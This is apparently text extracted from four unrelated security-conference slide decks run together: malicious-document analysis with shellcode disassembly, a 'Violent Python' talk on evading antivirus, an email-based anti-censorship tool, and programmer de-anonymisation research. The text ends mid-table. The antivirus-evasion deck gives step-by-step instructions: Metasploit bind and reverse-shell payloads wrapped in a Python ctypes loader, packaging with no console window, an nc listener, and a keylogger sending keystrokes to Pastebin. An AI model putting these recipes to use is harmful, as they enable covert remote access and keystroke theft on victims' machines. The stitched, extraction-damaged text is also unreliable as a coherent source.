Tim Hsu CHROOT.ORG PDF created with pdfFactory Pro trial version www.pdffactory.com 2008/7/25 2 ¤ HIT(Hacks In Taiwan)主辦人 ¤ 網駭科技創辦人 ¤ 資訊安全技術研究者,同時也是 Linux 愛好者。 ¤ 專長於網路程式設計、網路滲透測試、駭客攻擊手法研究、惡意程 式分析及嵌入式系統等。 ¤ 著作 ¡ Linux C 函式庫詳解辭典 (旗標) ¡ The Wargame 駭客訓練基地 - 決戰台灣版(旗標) (與曾信田、莊明 躍、何弈甫等人合著) 2 PDF created with pdfFactory Pro trial version www.pdffactory.com ¤ Malicious Document Introduction ¤ How To Identify The Malicious Code In The Document ¤ Static And Dynamic Analysis ¤ To Identify Which Vulnerable ¤ Demo PDF created with pdfFactory Pro trial version www.pdffactory.com ¤ What Is Malicious Document? ¤ Office Document/CHM/PDF ¤ Other ¡ RAR/ZIP/MDB/… PDF created with pdfFactory Pro trial version www.pdffactory.com ShellCode EXE/DLL Malicious Document EXE/DLL C:\Windows\System32\ PDF created with pdfFactory Pro trial version www.pdffactory.com ShellCode EXE/DLL Malicious Document C:\Windows\System32\ EXE/DLL DOC PDF created with pdfFactory Pro trial version www.pdffactory.com ¤ Kernel32.DLL ¤ Different Windows Version ¤ Find kernel32.dll ¡ PEB(Process Environment Block) ¡ SEH(Structured Exception Handling) ¡ TOPSTACK PDF created with pdfFactory Pro trial version www.pdffactory.com ¤ PEB (Process Environment Block) ¤ Every running process that can always be found at fs:[0x30] from within the process. ¤ Works on: 95/98/ME/NT/2K/XP/2K3 ¤ mov eax, fs:[eax+0x30] PDF created with pdfFactory Pro trial version www.pdffactory.com ¤ SEH(Structured Exception Handling) ¤ Starts at local process address fs:0 ¤ Works on: 95/98/ME/NT/2K/XP/2K3 ¤ xor ecx, ecx ¤ mov esi, fs:[ecx] PDF created with pdfFactory Pro trial version www.pdffactory.com ¤ Uses Thread Environment Block (TEB) located at fs:0x18h as starting point ¤ works on: NT/2K/XP/2K3 ¤ xor esi, esi ¤ mov esi, fs:[esi + 0x18] PDF created with pdfFactory Pro trial version www.pdffactory.com ¤ Anti-Virus Software ¤ Signature ¡ Typical opcode ¡ PE/MZ Format œ MZ PDF created with pdfFactory Pro trial version www.pdffactory.com ShellCode Malicious Document EXE/DLL DECODER PDF created with pdfFactory Pro trial version www.pdffactory.com ¤ Decode ¡ XOR ¤ Get EIP ¡ CALL/POP 084A0809 E8 E4 FF FF FF lcall 0x084A07F2 084A080E 084A07F2 8B 34 24 movl (%esp), %esi 084A07F5 33 DB xor %ebx, %ebx 084A07F7 33 C0 xor %eax, %eax 084A07F9 56 push %esi 084A07FA 5F pop %edi 084A07FB 33 C9 xor %ecx, %ecx 084A07FD 66 B9 82 02 mov $0x0282, %cx 084A0801 AC lodsbb %ds:(%esi), %al 084A0802 34 EF xor $0xEF, %al 084A0804 AA stosbb %al, %es:(%edi) 084A0805 E2 FA lloop 0x084A0801 ShellCode PDF created with pdfFactory Pro trial version www.pdffactory.com ¤ Dynamic Analysis ¡ Debugger œ Trace Step œ Environment ¡ Emulator œ Instruction œ Environment PDF created with pdfFactory Pro trial version www.pdffactory.com ¤ Search [CALL/JNE/LOOP*] opcode ¡ Named “DECODER” ¤ Initialization ¡ Registers ¡ Copy it to stack ¤ Jump to “DECODER” ¤ Debugger: ¡ Call&Pop found? ¡ GetPEB found? ¡ BadOpcode? œ Interrupt/sysenter/halt/… ¡ Loop ? ¡ Save EIP ¡ Next Step PDF created with pdfFactory Pro trial version www.pdffactory.com Malicious Document CAL L CAL L CAL L CAL L CAL L CAL L ShellCode DECODE R Malicious-Code Debugger PDF created with pdfFactory Pro trial version www.pdffactory.com lHow many bytes be modified? lScan Get-PEB opcode CAL L CAL L CAL L DECODE R Malicious-Code Debugger GET- PEB PDF created with pdfFactory Pro trial version www.pdffactory.com PDF created with pdfFactory Pro trial version www.pdffactory.com PDF created with pdfFactory Pro trial version www.pdffactory.com Malicious Document Scan Tool Version 0.4 --------------------------------------------------- Copyright (c) 2008 CHROOT.ORG. All rights reserved. Scanning sample/4e87a852b2afe5aa8fe5cbc6219ca794.doc * Total overwrite 262 bytes! * Found Get-PEB shellcode after decode memory. Found: Short CALL and POP: At file offset: 0x2de9 084A0809 E8 E4 FF FF FF lcall 0xFFFFFFE9 084A07F2 8B 34 24 movl (%esp), %esi 084A07F5 33 DB xor %ebx, %ebx 084A07F7 33 C0 xor %eax, %eax 084A07F9 56 push %esi 084A07FA 5F pop %edi 084A07FB 33 C9 xor %ecx, %ecx 084A07FD 66 B9 82 02 mov $0x0282, %cx 084A0801 AC lodsbb %ds:(%esi), %al 084A0802 34 EF xor $0xEF, %al 084A0804 AA stosbb %al, %es:(%edi) 084A0805 E2 FA lloop 0xFFFFFFFC PDF created with pdfFactory Pro trial version www.pdffactory.com ¤ Libgsf ¡ 'libgsf' is a simple i/o library that can read and write common file types and handle structured formats that provide file-system-in-a-file semantics. There are some additional utilities for document centric applications ¤ Source Archive: http://ftp.acc.umu.se/pub/GNOME/sources /libgsf/1.14/libgsf-1.14.4.tar.gz ¤ Licenses: LGPLv2.1 PDF created with pdfFactory Pro trial version www.pdffactory.com ¤ OLE Storage offset and size ¤ Draw the diagram with MDScan ¤ Green: OLE Red: Data or Unknow CVE-2006- 2492 CVE-2006- 3877 CVE-2006- 5994 PDF created with pdfFactory Pro trial version www.pdffactory.com ¤ http://www.snort.org/vrt/tools/officecat.htm l C:\>officecat.exe ATest.doc Sourcefire OFFICE CAT v2 Microsoft Office File Checker * Processing ATest.doc VULNERABLE OCID: 5 CVE-2006-6456 Type: Word PDF created with pdfFactory Pro trial version www.pdffactory.com CVE-2006- 2492 Sample.DOC PDF created with pdfFactory Pro trial version www.pdffactory.com PDF created with pdfFactory Pro trial version www.pdffactory.com ¤ CHM(compiled html help) ¡ Extract it ¡ Any PE/MZ Execuated file? ¤ RAR ¡ WinRAR "lzh.fmt" LHA Archive Processing Client-Side Buffer Overflow Vulnerability ¡ CVE-2006-3845 ¡ .RAR but LHA magic? ¤ PDF ¡ Adobe Products JavaScript Method Code Execution Vulnerability ¡ Embed Javacript? PDF created with pdfFactory Pro trial version www.pdffactory.com -rw-r--r--1 timhsu timhsu 262 2008-06-22 23:49 chmin-boop.html -rw-r--r--1 timhsu timhsu 103936 2008-06-22 23:49 exe.exe drwxr-xr-x 2 timhsu timhsu 4096 2008-06-22 23:49 $FIftiMain/ -rw-r--r--1 timhsu timhsu 4096 2008-06-22 23:49 #IDXHDR -rw-r--r--1 timhsu timhsu 521 2008-06-22 23:49 index.html drwxr-xr-x 2 timhsu timhsu 4096 2008-06-22 23:49 #ITBITS/ -rw-r--r--1 timhsu timhsu 2751 2008-06-22 23:49 $OBJINST -rw-r--r--1 timhsu timhsu 5 2008-06-22 23:49 #STRINGS -rw-r--r--1 timhsu timhsu 4217 2008-06-22 23:49 #SYSTEM -rw-r--r--1 timhsu timhsu 32 2008-06-22 23:49 #TOPICS -rw-r--r--1 timhsu timhsu 52 2008-06-22 23:49 #URLSTR -rw-r--r--1 timhsu timhsu 24 2008-06-22 23:49 #URLTBL drwxr-xr-x 2 timhsu timhsu 4096 2008-06-22 23:49 $WWAssociativeLinks/ drwxr-xr-x 2 timhsu timhsu 4096 2008-06-22 23:49 $WWKeywordLinks/ PDF created with pdfFactory Pro trial version www.pdffactory.com #!/bin/sh if [ "$1" == "" ]; then echo Usage: $0 [pdf] exit 0; fi file $1 | grep "PDF document" > /dev/null 2>&1 if [ "$?" == "1" ]; then echo Sorry! Not PDF file. exit 0; fi pdfsize=`pdfinfo $1 | grep "File size" | awk '{print $3}'` pdftotext -raw $1 /tmp/pdf_test.txt pdftxtsize=`stat -c %s /tmp/pdf_test.txt` if [ $pdftxtsize == 1 ];then echo Warnning: $1 maybe not be safe! exit 1; else echo $1 is safe. exit 0; fi PDF created with pdfFactory Pro trial version www.pdffactory.com ¤ Exploit Modify Tips & 0day – Nanika ¡ HIT 2006 (http://www.hitcon.org/oldweb/sch.htm) ¤ Understanding Windows Shellcode ¡ http://www.hick.org/code/skape/papers/win32-shellcode.pdf ¤ Windows Memory Layout, User-Kernel Address Spaces ¡ http://www.openrce.org/reference_library/files/reference/Window s%20Memory%20Layout,%20User-Kernel%20Address%20Spaces.pdf ¤ Dynamic analysis of malicious code ¡ http://www.cs.ucsb.edu/~chris/research/doc/virology06_dynamic. pdf ¤ OfficeCat ¡ http://www.snort.org/vrt/tools/officecat.html PDF created with pdfFactory Pro trial version www.pdffactory.com PDF created with pdfFactory Pro trial version www.pdffactory.com
pdf
Violent(Python( ! DEF(CON(23! Fri.,(Aug(8,(2015,(9?1! Sam(Bowne( City(College(San(Francisco! Slides(and(projects(at(samsclass.info( Bio$ CNIT$124$ Advanced$Ethical$Hacking$ Violent$Python$ •  Good$coding$principles$ – ExcepBon$handling$ – Modular$design$ – OpBmizaBon$ – CommenBng$ – Flow$charts$ •  FORGET$THEM$ALL$ Violent$Python$ •  We$are$hackers$ •  We$are$here$to$BREAK$STUFF$ •  It$should$be$fast$and$easy$for$a$complete$ novice$to$hack$together$a$simple$script$to$do$ something$fun!$ Projects$ AnBvirus$ $ Ungh!$$Good$God$y'all...$ $ What$is$it$GOOD$For?$ Mikko$Hypponen$Video$ Metasploit$Payloads$ Metasploit$ •  Hundreds$of$payloads$ •  The$simplest$one:$bind_tcp$ •  Listens$on$a$TCP$port$for$commands$ Simple$Reverse$Shell$ •  One$command$to$produce$very$simple$ Windows$EXE$malware$ AnBvirus$Catches$It$ Norton$v.$Shell.exe$ Norton$IdenBfies$the$Metasploit$ Packer$ VirusTotal:$37/49$DetecBons$ How$to$ Become$ 007$ Python$v.$AV$ Round$1$ shell_bind_tcp$ Export$Metasploit$Payloads$to$C$ Use$Ctypes$Python$Library$ Compile$it$on$Windows$ •  Install$these$$things,$in$order$ – Python$2.7$ – PyWin32$ – pipbWin$ – PyInstaller$ •  This$creates$an$EXE$file$that$listens$on$a$TCP$ port$ DEMO$ •  On$Kali$ msfpayload windows/shell_bind_tcp C > foo nano foo •  Change$top$to$ from ctypes import * shellcode = ( •  Change$bocom$to$ ); memorywithshell = create_string_buffer(shellcode, len(shellcode)) shell = cast(memorywithshell, CFUNCTYPE(c_void_p)) shell() DEMO$ •  On$Windows,$in$pipbWin:$ venv -c -i pyi-env-name pyinstaller --onefile --noconsole foo VirusTotal:$1/50$DetecBon$ Norton$Support$ •  I$Tweeted$about$this,$and$@NortonSupport$ replied$ •  VirusTotal$is$not$a$fair$test,$because$real$ installed$Norton$uses$HeurisBc$Scanning$ •  @NortonSupport$gave$me$a$link$for$a$30bday$ trial$version$:)$ Norton$Wins!$ Kaspersky$Wins!$ •  Avast!$doesn't$detect$it$ •  Kaspersky$detects$it$as$ HEUR:Trojan.Win32.Generic$ Python$v.$AV$ Round$2$ shell_bind_tcp$ with$a$delay$ DEMO$ •  On$Kali$ cp foo foo2 nano foo2 x=raw_input("Press Enter to continue") •  On$Windows,$in$pipbWin:$ venv -c -i pyi-env-name pyinstaller --onefile foo2 Norton,$Avast,$&$MSE$Lose!$ Kaspersky$Wins!$ Python$v.$AV$ Round$3$ shell_bind_tcp$ in$two$stages$ no$delay$ Other$AV$ •  Tested$on$Mar$24,$2014$with$a$twobstage$ reverse$shell$and$no$Bme$delay$ •  Al$these$failed$ – Norton$ – Nod32$ – Avast!$ – 360$Internet$Security$ – McAfee$ – Kaspersky$ Remember$Mikko?$ FbSecure$Wins!$ AV$Challenge$ •  Posted$April$3,$2014$ •  No$reply$from$AV$vendors,$but$Norton$ improved$its$detecBon$aier$that$ – Now$a$delay$is$required$ Python$v.$AV$ Round$4$ shell_bind_tcp$ with$a$delay$ INSTRUCTIONS$ •  On$Kali$ msfpayload windows/shell_reverse_tcp LHOST=192.168.119.252 C > rev nano rev •  Change$top$to$ x=raw_input("Press Enter to continue") from ctypes import * shellcode = ( •  Change$bocom$to$ ); memorywithshell = create_string_buffer(shellcode, len(shellcode)) shell = cast(memorywithshell, CFUNCTYPE(c_void_p)) shell() INSTRUCTIONS$ •  On$Windows,$in$pipbWin:$ venv -c -i pyi-env-name pyinstaller --onefile rev •  On$Kali$ nc –lp 4444 Norton$Loses$ Kaspersky$Wins$ Advanced$Malware$ProtecBon$ ty$@ChrisAbdalla_1$from$HP$ESP$TippingPoint$ •  A$friend$in$the$financial$industry$tested$ Evil.exe$on$a$system$protected$by$FireEye$ •  FireEye$gives$no$alerts$and$lets$it$post$ keystrokes$right$to$Pastebin$ Python$Keylogger$ Google$ "Python$ Keylogger"$ •  I$used$this$ one$from$4$ years$ago$ Post$Keystrokes$to$Pastebin$ Problem$ •  Pastebin$busted$me$for$making$too$many$ pastes$in$a$24bhour$period$ •  So$I$wrote$my$own$Pastebin$imitaBon$ Kaspersky$&$Avast!$LOSE$ Norton$WINS!$ But$just$add$a$delay...$ FbSecure$LOSES!$ PRODUCT$ANNOUNCEMENT!$ UltrabAdvanced$APT$Tool$ samsclass.info/evil.exe$ UNSTOPPABLE$ •  None$of$these$products$stop$it$ – Norton$ – McAfee$ – Kaspersky$ – Nod32$ – FbSecure$ – Avast!$ – Microsoi$Security$EssenBals$
pdf
F.O.E. http://code.google.com/p/foe-project/ Feed Over Email A Proxy-less RSS Reader For Users in Internet Censored Countries By Sho Ho Broadcasting Board of Governors F.O.E. Who am I? Name: Sho Ho Job Title: Telecommunications Specialist Employer: Broadcasting Board of Governors The Federal Government agency that oversees and supports broadcasters such as Voice of America, Radio Free Asia, and Radio Free Europe, etc. Duties: Developing and managing anti-censorship projects to help internet users in censored countries to circumvent Government censorships Contact: ssho@bbg.gov F.O.E. The Big Challenge Facts: Countries censor the Internet and people cannot access “indecent” websites. Problem: “Indecent” may include VOA, AP, CNN, and BBC, etc. Challenge: How to bypass censorships? F.O.E. Offending Countries • “Big offenders” of Internet censorship: – Belarus, Burma, China, Cuba, Egypt, Ethiopia, Iran, North Korea, Saudi Arabia, Syria, Tunisia, Turkmenistan, Uzbekistan, Vietnam, Zimbabwe • and minor offenders… – Australia, Bahrain, Belgium, Brazil, Canada, Chile, Czech Republic, Denmark, Fiji, Finland, France, Ghana, India, Ireland, Israel, Italy, Jordan, Maldives, Mexico, Morocco, Myanmar, Netherlands, Norway, Pakistan, Russia, Saudi Arabia, Singapore, South Korea, Sweden, Thailand, Turkey, United Arab Emirates, United Kingdom, Yemen, and USA (WTF?!!) F.O.E. Censorship Technologies • IP Filtering • Domain Name Blocking • Packet (Content/URL/Keyword) Filtering • DNS Hijacking • Any combination and/or variation of the above. F.O.E. Anti-Censorship Technologies • Web-Based Proxy Servers • Client-Side Proxy Software • Pure Peer-to-Peer (P2P) • Email F.O.E. Anti-Censorship Technologies • Web-Based Proxy Servers – Advantages: • Easy to deploy • No download required • Effective against most common forms of censorship – Disadvantages: • Limited multimedia capability (e.g. no videos) • Limited interactivity (e.g. no AJAX) • Difficult to find new proxy servers – Example: • Psiphon, CGIProxy (By James Marshall) F.O.E. Anti-Censorship Technologies • Client-Side Proxy Software – Advantages: • Automatically update new routes. • Browser independent. • Better multimedia and interactivity supports. – Disadvantages: • Difficult to get a copy of the programs in censored countries. • Anti-virus software may treat some programs as Trojans or viruses. • Some systems are proprietary and may have privacy and security concerns. • Connection speed can be slow for some. – Examples: • Tor, Freegate, Ultrasurf, etc. F.O.E. Anti-Censorship Technologies • Pure Peer-to-Peer (P2P) – Advantages: • Distributed, thus difficult to block. • Data redundancy – data may be available from multiple nodes. – Disadvantages: • Initial nodes discovery can be difficult. • Speed can be very slow. Usually not good enough for web browsing. • Network reliability and security. – Example: • Freenet. F.O.E. Anti-Censorship Technologies • Email – Advantages: • Difficult to block individual emails. • No known censorship technology blocks email delivery on the national firewall level. • Can be used to update proxy addresses. • Emails can be scrambled or encrypted to deliver sensitive information and bypass content filtering. – Disadvantages: • Susceptible to server-side spam-filtering. • Plain-text emails are susceptible to content-filtering. • Encrypted emails require the recipients to have certain technical skills. • Recipients do not know whether their emails have been blocked. F.O.E. FOE A New Anti-Censorship Tool For Receiving News/Files F.O.E. = “Feed Over Email” F.O.E. Problems No proxy, no RSS / podcast (China’s Great Firewall blocks VOA/RFA feeds) F.O.E. Problems Web (CGI) Proxy Unreliable IP addresses change too often Cannot “push” content to users No good way to inform user of new IP F.O.E. Problems Proxy Clients (e.g. Freegate) Expensive to maintain Proprietary No mobile phone support What is FOE? • Special formatted emails for RSS feeds or transmitting other types of data. Total Slides: 33 15 Why FOE? • Reliable public proxy servers are hard to find. • Download sites for client-side proxy programs may be blocked. • Some client-side proxy programs are slow; others may impose their own censorship or charge users for money. • Need a mechanism to communicate with people in censored countries. Total Slides: 33 16 F.O.E. How F.O.E. Works? 1. User request : send feeds please 2. Server response : here you go … RSS, podcast, software, new proxy IP, etc. SSL SSL Censored Country FOE Data Structure Client <foe> <user email=“my@email.dom” pass=“xxxxx” /> <request id=“nnnnn” type=“feed” source=“voa” /> </foe> Total Slides: 33 18 FOE Data Structure Total Slides: 33 19 RSS Feed FOE Message Struct Data Compression Base64 Encoded Server Reply Message F.O.E. How F.O.E. Works? • FOE messages are embedded in email messages. • FOE messages are compressed so it can: – Reduce the message size. – Bypass content filters. • Requirement: user needs a foreign email account (e.g. Gmail). • FOE client sends a request to FOE server via email. • FOE server sends the requested feed/file to the user’s email. • FOE client download the FOE message and display the feed (or save the file). F.O.E. How F.O.E. Works? Build On Email Use existing email service providers (e.g. Gmail) F.O.E. Advantages User friendlier (No need to update IP periodically) More portable (Can be port to mobile phones easily) Capable of “push” (Communication is 2-way) More reliable (US email services are quite reliable) Low costs (Build on open standards-SMTP,POP3,IMAP,XML) F.O.E. Feed Over Email, Why? Abundant Foreign Email Servers No Need to Update Proxy Addresses Secured SMTP, POP3, IMAP Reliable Inexpensive or Free (e.g. Gmail) Difficult to Block F.O.E. Sample Usages News feed (RSS) Podcasting File download Distribute proxy IP Get user feedback Important announcement (push) F.O.E. Can It Be Blocked? Yes, when … Email server is blocked. Email account is closed. Email provider turns evil. F.O.E. What FOE Is and Isn’t? FOE is: • A tool to allow users to receive news feeds, Podcasts, files, programs, and proxy updates. • A complement to existing anti-censorship solutions. FOE is not: • An universal proxy solution. • For real-time applications. • For downloading large files. F.O.E. Supported Platforms PCs Currently Supporting Microsoft Windows. Potentially on Linux, FreeBSD, Mac OS X, etc. Mobile phones Can easily be ported to most mobile platforms. F.O.E. How To Improve FOE? • Run on other protocols (e.g. Jabber) instead of SMTP? • Create a client-side plug-in architecture? • Create an architecture to allow anyone to set up a FOE server to provide different services? • Port FOE to other operating systems? • Create FOE clients for mobile devices? F.O.E. Demo Showtime F.O.E. Conclusion • FOE is one of the many tools that helps to fight Internet censorship. • You can help to fight censorship by: – Contributing to the FOE project by writing codes, submitting new ideas, writing papers, talking about it on your blogs and/or websites, and in any ways that you can imagine. (We DO NOT accept money contribution but thank you for asking.) – Creating your own anti-censorship tools and make it freely available to the public. – Set up your proxy servers or other anti-censorship services to help people in censored countries. – Making sure politicians hear your concerns loud and clear. – Providing financial supports to other anti-censorship programs that you believe are most promising.
pdf
Aylin Caliskan @aylin_cim Assistant Professor George Washington University Rachel Greenstadt @ragreens Associate Professor Drexel University De-anonymizing Programmers from Source Code and Binaries August 10, 2018 1 Stylometry Natural language English English as a second language Translated text Underground forum text Artificial language Programming languages Python C/C++ Source code Binary executables August 10, 2018 2 Stylometry Natural language FBI Expert witnesses European high-tech crime units Artificial language Expert witnesses DARPA US Army Research Laboratory August 10, 2018 3 August 10, 2018 Why de-anonymize programmers? 4 Iran confirms death sentence for 'porn site' web programmer. No technical difference between security-enhancing and privacy-infringing Source code stylometry August 10, 2018 5 Source code stylometry Application Learner Setting Software forensics Multiclass Open world Stylometric plagiarism detection Multiclass Closed world Copyright investigation Two-class Closed world Authorship verification Two-class/One-class One-class open world A machine learning classification task August 10, 2018 6 Random Forest Classifier A B C D De-anonymizing Programmers Fuzzy Parsing Identifying Programmer Fingerprints Language Processing Supervised Machine Learning Privacy and Security Implications Source Code August 10, 2018 7 De-anonymizing programmers Application Classes Instances Accuracy Stylometric plagiarism detection 250 class 2,250 98% Large scale de-anonymization 1,600 class 14,400 94% Copyright investigation Two-class 540 100% Authorship verification Two-class/One-class 2,240 91% Open world problem Multi-class 420 96% Principled method & robust syntactic feature set August 10, 2018 8 Source code stylometry preprocessing extract features majority vote A B C D random forest fuzzy AST parser 1,600 contestants – C++ De-anonymized Programmers August 10, 2018 9 Features Source code Abstract syntax tree August 10, 2018 10 Case 1: Authorship attribution •Who is this anonymous programmer? •Who is Satoshi? August 10, 2018 11 Case 1: Authorship attribution •If only we had a suspect set for Satoshi… Train on the suspect set to de-anonymize the initial Bitcoin author train test Satoshi = git contributor August 10, 2018 12 Case 1: Authorship attribution •94% accuracy in identifying 1,600 authors of 14,400 anonymous program files. Train on 1,600 authors to identify the authors of 14,400 files train test 94% accuracy August 10, 2018 13 Case 2: C++ Obfuscation - STUNNIX August 10, 2018 14 Case 2: C++ Obfuscation - STUNNIX Same set of 25 authors with 225 program files Classification Accuracy Original source code 97% STUNNIX-Obfuscated source code 97% August 10, 2018 15 Case 2: C Obfuscation - TIGRESS August 10, 2018 16 Case 2: C Obfuscation - TIGRESS August 10, 2018 17 Case 2: C Obfuscation - TIGRESS August 10, 2018 Same set of 20 authors with 180 program files Classification Accuracy Original C source code 96% TIGRESS-Obfuscated source code 67% 18 Case 3: Authorship verification •Is this source code really written by this programmer? Test on 6 files that belong to Mallory and 6 files that belong to 6 random authors. Mallory M M M M M M M A B C D E F G H M M M M M M X1 X2 X3 X4 X5 X6 93% accuracy in 80 sets of experiments Train on 8 files from Mallory and one file from authors A, B, C, D, E, F, G, and H. August 10, 2018 19 What about executable binaries? Compiled code looks cryptic 00100000 00000000 00001000 00000000 00101000 00000000 00000000 00000000 00110100 00000000 00000000 00000000 00000100 00001000 00000000 00000001 00000000 00000000 00000000 00000001 00000000 00000000 00000101 00000000 00000000 00000000 00000100 00000000 00000000 00000000 00000011 00000000 00000000 00000000 00110100 00000001 00000000 00000000 00110100 10000001 00000100 00001000 00000000 00000000 00010011 00000000 00000000 00000000 00000100 00000000 00000000 00000000 00000001 00000000 00000000 00000000 00000001 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 10000000 00000100 00001000 00000000 10000000 00000100 00001000 11001000 00010111 00000000 00000000 11001000 00010111 00000000 00000000 00000101 00000000 00000000 00000000 Source Code #include <cstdio> #include <algorithm> using namespace std; #define For(i,a,b) for(int i = a; i < b; i++) #define FOR(i,a,b) for(int i = b-1; i >= a; i--) double nextDouble() { double x; scanf("%lf", &x); return x;} int nextInt() { int x; scanf("%d", &x); return x; } int n; double a1[1001], a2[1001]; int main() { freopen("D-small-attempt0.in", "r", stdin); freopen("D-small.out", "w", stdout); int tt = nextInt(); For(t,1,tt+1) { int n = nextInt(); . . . . . . August 10, 2018 20 August 10, 2018 21 August 10, 2018 22 Features: Assembly August 10, 2018 Disassembly Assembly Features Assembly unigrams Assembly bigrams Assembly trigrams Two consecutive assembly lines 23 Features: Syntactic August 10, 2018 24 Features: Control flow August 10, 2018 25 Dimensionality Reduction • Information gain criterion • Keep features that reduce entropy – see (a) • Reduce dimension from ~700,000 to ~2,000 August 10, 2018 26 Dimensionality Reduction • Information gain criterion • Keep features that reduce entropy – see (a) • Reduce dimension from ~700,000 to ~2,000 August 10, 2018 •Correlation based feature selection •Keep features with low inter-class correlation •Reduce dimension from ~2,000 to 53 27 Predictive features August 10, 2018 28 Optimizations and stripping symbols August 10, 2018 Number of programmers Number of training samples Compiler optimization level Accuracy 100 8 None 96% 100 8 1 93% 100 8 2 89% 100 8 3 89% 100 8 Stripped symbols 72% 29 Obfuscation 1. Bogus control flow insertion 2. Instruction substitution August 10, 2018 3. Control flow flattening 30 Obfuscation 1. Bogus control flow insertion 2. Instruction substitution August 10, 2018 3. Control flow Flattening Open-LLVM obfuscations reduce de-anonymization accuracy of 100 programmers from 96% to 88%. 31 Large scale programmer de-anonymization August 10, 2018 32 GitHub and Nulled.IO •De-anonymizing 50 GitHub programmers • with 65% accuracy. •De-anonymizing 6 malicious programmers • Nulled.IO hackers and malware authors • with 100% accuracy. August 10, 2018 33 Programmer De-anonymization on GitHub ✓ Single authored GitHub repositories ✓ The repository has at least 500 lines of code Compile repositories August 10, 2018 3,438 161 439 2 - 8 2 - 344 50 542 450 50 65% 97% 34 Collaborative Code 35 August 10, 2018 Segment and Account Attribution ● Sometimes we only care who wrote a small piece of code ● Sometimes we want to deanonymize a pseudonymous account ○ Without whole files belonging to it, only small pieces ● In these cases, we can only attribute small segments, or “snippets” ● Using the manual feature set ○ Large, sparse features (3,407 nonzero out of 369,097 total) 36 August 10, 2018 Segment attribution results 73% accuracy (average sample 4.9 lines of code) 37 August 10, 2018 Accuracy vs LOC 38 August 10, 2018 Attribute accounts not individual commits? Works much much better! - close to 100% after 4 snippets 39 August 10, 2018 Deep Learning AST Representations Using AST features allowed us to get good results. But…. A Tree is not a feature! 40 August 10, 2018 We manually chose features of the ASTs 41 August 10, 2018 Can a deep neural net do better? ● Embedding Layer ○ Map AST nodes to feature vectors ● Subtree Layers ○ Learn the structure of the AST ■ Subtree LSTM ■ Subtree BiLSTM (bidirectional) ● Softmax Layer ○ Generate a probability distribution of the programmers 42 August 10, 2018 Long Short-Term Memory Networks Recurrent neural networks (RNNs) ● Handle sequential input ● Add feedback loops to remember information LSTMs add memory cells ● Sequential long-term dependencies ● Use gates to control flow of information What should I remember? What should I ignore? What should I forget? 43 August 10, 2018 Results Using only AST features (No lexical or layout features) Python (25 programmers) Python (70 programmers) C++ (10 programmers) Random Forest 86.00 72.90 75.90 Linear SVM 77.20 61.28 73.50 LSTM 92.00 86.36 80.00 BiLSTM 96.00 88.86 85.00 44 August 10, 2018 So what? ● Learn better AST representations without feature engineering ● Language independent - any programming language that supports ASTs Future work ● Combine with Random Forests and fuller feature sets ○ Better results or just overlap with other features? 45 August 10, 2018 What about other languages? Porting requires AST parser and lexical/layout features Similar accuracies so far (on GCJ dataset) Results with just AST vary 46 August 10, 2018 Train on one language test on another? ● This is something we’d like to try ● Need either universal intermediate AST representation or pairwise ● Babblefish project (doesn’t appear to be ready yet) 47 August 10, 2018 Interesting Software Engineering Insights 48 August 10, 2018 What about attributing groups? Looked at team programming competition Teams compete on sets of problems Preliminary results: 118 Codeforces teams, at least 20 submissions each ● 10-fold cross-validation: 67.2% accuracy ● 20-fold cross-validation: 67.8% accuracy Difficult because they are likely splitting up the problems completely Future work: code repositories 49 August 10, 2018 Difficult vs. Easy Tasks Implementing harder functionality makes programming style more unique.Same set of 62 authors Classification Accura Same set of 62 programmers Classification Accuracy Solving 7 Easy Problems 90% Solving 7 Harder Problems 95% 50 August 10, 2018 Effect of Programming Skill? Programmers who got further in the GCJ Contest were easier to attribute.Same set of 62 authors Classification Accura Same set of 62 programmers Classification Accuracy Less Advanced Coders 80% More Advanced Coders 95% 51 August 10, 2018 How does coding style change over time? ● 92% accuracy, train and test on 2012 ● 88% accuracy, train on 2012, test on 2014 52 August 10, 2018 Coding style by country? GCJ files (in javascript) written by programmers in Canada and China ● 84 files ● 91.9% classification accuracy 53 August 10, 2018 Future Applications ● Find malicious code authors ○ anonymous contributors ● Write better obfuscators ○ target AST directly ● Find authors who write vulnerable code ○ open source code ● Find who to recruit directly ○ from git commits 54 August 10, 2018 Thanks to collaborators Bander Alsulami, Edwin Dauber, Richard Harang, Andrew Liu, Spiros Mancoridis, Arvind Narayanan, Frederica Nelson, Mosfiqur Rahman, Dennis Rollke, Konrad Rieck, Gregory G. Shearer, Clare Voss, Michael J. Weisman, Fabian Yamaguchi 55 August 10, 2018 Aylin Caliskan @aylin_cim aylin@gwu.edu Contact information and Q & A Source code authorship attribution: https://github.com/calaylin/bda Javascript authorship attribution: https://github.com/dns43/CodeStylometry/tree/master/SCAA/src Binary authorship attribution: https://github.com/calaylin/bda Rachel Greenstadt @ragreens greenstadt@gmail.com 56 August 10, 2018 Comparison to related work Related Work Author Size Instances Average LOC Language Fetaures Method Result MacDonell et al. 7 351 148 C++ lexical & layout Case-based reasoning 88.0% Frantzeskou et al. 8 107 145 Java lexical & layout Nearest neighbor 100.0% Elenbogen and Seliya 12 83 100 C++ lexical & layout C4.5 decision tree 74.7% Shevertalov et. al. 20 N/A N/A Java lexical & layout Genetic algorithm 80% Frantzeskou et al. 30 333 172 Java lexical & layout Nearest neighbor 96.9% Ding and Samadzadeh 46 225 N/A Java lexical & layout Nearest neighbor 75.2% Ours 35 315 68 C++ lexical & layout & syntactic Random forest 100.0% Ours 250 2,250 77 C++ 98.0% Ours 1,600 14,400 70 C++ 93.6% August 10, 2018 57 Comparison to related work Related Work Author Size Instances Average LOC Language Fetaures Method Result Frantzeskou et al. 30 333 172 Java lexical & layout Nearest neighbor 96.9% Ding and Samadzadeh 46 225 N/A Java lexical & layout Nearest neighbor 75.2% Ours 35 315 68 C++ lexical & layout & syntactic Random forest 100.0% Ours 250 2,250 77 C++ 98.0% Ours 1,600 14,400 70 C++ 93.6% August 10, 2018 58 Comparison to related work Related Work Author Size Instance s Average LOC Language Fetaures Method Result Frantzeskou et al. 30 333 172 Java lexical & layout Nearest neighbor 96.9% Ding and Samadzadeh 46 225 N/A Java lexical & layout Nearest neighbor 75.2% Ours 35 315 68 C++ lexical & layout & syntactic Random forest 100.0% Ours 250 2,250 77 C++ 98.0% Ours 1,600 14,400 70 C++ 93.6% August 10, 2018 59 Comparison to related work Related Work Author Size Instances Average LOC Language Fetaures Method Result MacDonell et al. 7 351 148 C++ lexical & layout Case-based reasoning 88.0% Frantzeskou et al. 8 107 145 Java lexical & layout Nearest neighbor 100.0% Elenbogen and Seliya 12 83 100 C++ lexical & 